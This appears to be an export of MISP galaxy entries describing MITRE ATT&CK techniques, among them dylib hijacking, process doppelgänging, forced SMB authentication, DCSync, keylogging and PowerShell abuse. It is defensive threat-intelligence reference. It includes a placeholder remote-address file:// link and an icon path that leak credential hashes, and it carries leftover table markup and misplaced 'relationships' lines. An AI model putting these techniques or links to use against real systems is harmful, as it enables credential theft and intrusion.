If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"

Dylib Hijacking - T1157 has relationships with:

Software Discovery - T1518

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"
Launch Agent - T1159

Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in `<code>/System/Library/LaunchAgents</code>`, `<code>/Library/LaunchAgents</code>`, and `<code>$HOME/Library/LaunchAgents</code>` (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).

</table>
Browser Extensions - T1176

Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that
users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"

### Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec
• Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

• Load – Create a shared section of memory and load the malicious executable.

• Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

• Animate – Create a process from the tainted section of memory and initiate execution.

The tag is: `misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"`

Process Doppelgänging - T1186 has relationships with:

**LSASS Driver - T1177**

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: `misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"

LSASS Driver - T1177 has relationships with:
Forced Authentication - T1187

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to `<code>file://[/remote address]/Normal.dotm</code>` to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
• A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\[remote address\]pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

**BITS Jobs - T1197**

Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)

The tag is: <code>misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"</code>
**Trusted Relationship - T1199**

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.

The tag is: `misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"`

---

**Misattributable credentials - T1322**

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)

The tag is: `misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"`
Data Encrypted - T1532

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.

DNS poisoning - T1382

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server’s domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address.

(Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

Process Discovery - T1424

On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel’s <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).

Capture Audio - T1429

Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the `<code>android.permission.RECORD_AUDIO</code>` permission to access the microphone and the `<code>android.permission.CAPTURE_AUDIO_OUTPUT</code>` permission to access audio output such as speakers. Android does not allow third-party applications to hold `<code>android.permission.CAPTURE_AUDIO_OUTPUT</code>`, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.

The tag is: `misp-galaxy:mitre-attack-pattern="Capture Audio - T1429"

Unsecured Credentials - T1552

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).

The tag is: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"

Impair Defenses - T1562

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as
firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"

### Protocol Tunneling - T1572

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.

Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a
trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt. (Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process. (Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users. (Citation: THE FINANCIAL TIMES LTD 2019.)

**Device Lockout - T1446**

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode. (Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device. (Citation: Xiao-KeyRaider)

**Hide Artifacts - T1564**

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection. (Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)
Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology. (Citation: Sophos Ragnar May 2020)

The tag is: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"

</table>

**Data Destruction - T1485**

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. (Citation: Symantec Shamoon 2012) (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017) (Citation: Unit 42 Shamoon3 2018) (Citation: Talos Olympic Destroyer 2018)

Common operating system file deletion commands such as `<code>del</code>` and `<code>rm</code>` often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. (Citation: Kaspersky StoneDrill 2017) (Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002). (Citation: Symantec Shamoon 2012) (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016) (Citation: Kaspersky StoneDrill 2017) (Citation: Talos Olympic Destroyer 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"

Table 2905. Table References
Firmware Corruption - T1495

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot. (Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.

Data Manipulation - T1565

Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: `misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"`

Table 2909. Table References
Native Code - T1575

Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.

The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library. (Citation: Google NDK Getting Started)

Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors. (Citation: MITRE App Vetting Effectiveness)

The tag is: misp-galaxy:mitre-attack-pattern="Native Code - T1575"

Dynamic Resolution - T1568

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control. (Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568"
System Services - T1569

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: `misp-galaxy:mitre-attack-pattern="System Services - T1569"`

Man-in-the-Middle - T1557

Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. (Citation: Rapid7 MiTM Basics)

Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.

The tag is: `misp-galaxy:mitre-attack-pattern="Man-in-the-Middle - T1557"`

</table>

**JavaScript/JScript - T1059.007**

Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic
scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser. (Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages. (Citation: JScript May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

Adversaries may abuse JavaScript / JScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

The tag is: `misp-galaxy:mitre-attack-pattern="JavaScript/JScript - T1059.007"

### Regsvcs/Regasm - T1218.009

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs)(Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: `<code>[ComRegisterFunction]</code>` or `<code>[ComUnregisterFunction]</code>` respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: `misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009"

Steganography - T1001.002

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

The tag is: `misp-galaxy:mitre-attack-pattern="Steganography - T1001.002"`
DCSync - T1003.006

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)

DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)

**Timestomp - T1070.006**

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

</table>

**SSH - T1021.004**

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user's public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. (Citation: SSH Secure Shell)

**DNS - T1071.004**

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. (Citation: PAN DNS Tunneling) (Citation: Medium DnsTunneling)

The tag is: **misp-galaxy:mitre-attack-pattern="DNS - T1071.004"**

</tbody>
</table>

**Keylogging - T1056.001**

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. (Citation: Adventures of a Keystroke) Some methods include:

* Hooking API callbacks used for processing keystrokes. Unlike [Credential API
Hooking[https://attack.mitre.org/techniques/T1056/004], this focuses solely on API functions intended for processing keystroke data.

- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.

The tag is: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"

**PowerShell - T1059.001**

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"

Steganography - T1027.003

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim’s system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim’s system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

</tr>
</tbody>
</table>

**AppleScript** - T1059.002

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. (Citation: Apple AppleScript) These AppleEvent messages can be easily scripted with AppleScript for local or remote execution.

<code>osascript</code> executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to execute various behaviors, such as interacting with an open SSH
connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006)(Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `<code>osascript /path/to/script</code>` or `<code>osascript -e "script here"</code>.

The tag is: `misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002"`

</tr>
</tbody>
</table>

**Cron - T1053.003**

Adversaries may abuse the `<code>cron</code>` utility to perform task scheduling for initial or recurring execution of malicious code. The `<code>cron</code>` utility is a time-based job scheduler for Unix-like operating systems. The `<code>crontab</code>` file contains the schedule of cron entries to be run and the specified times for execution. Any `<code>crontab</code>` files are stored in operating system-specific file paths.

An adversary may use `<code>cron</code>` in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. `<code>cron</code>` can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

The tag is: `misp-galaxy:mitre-attack-pattern="Cron - T1053.003"`

<table>

</tr>
</tbody>
</table>

**Launchd - T1053.004**

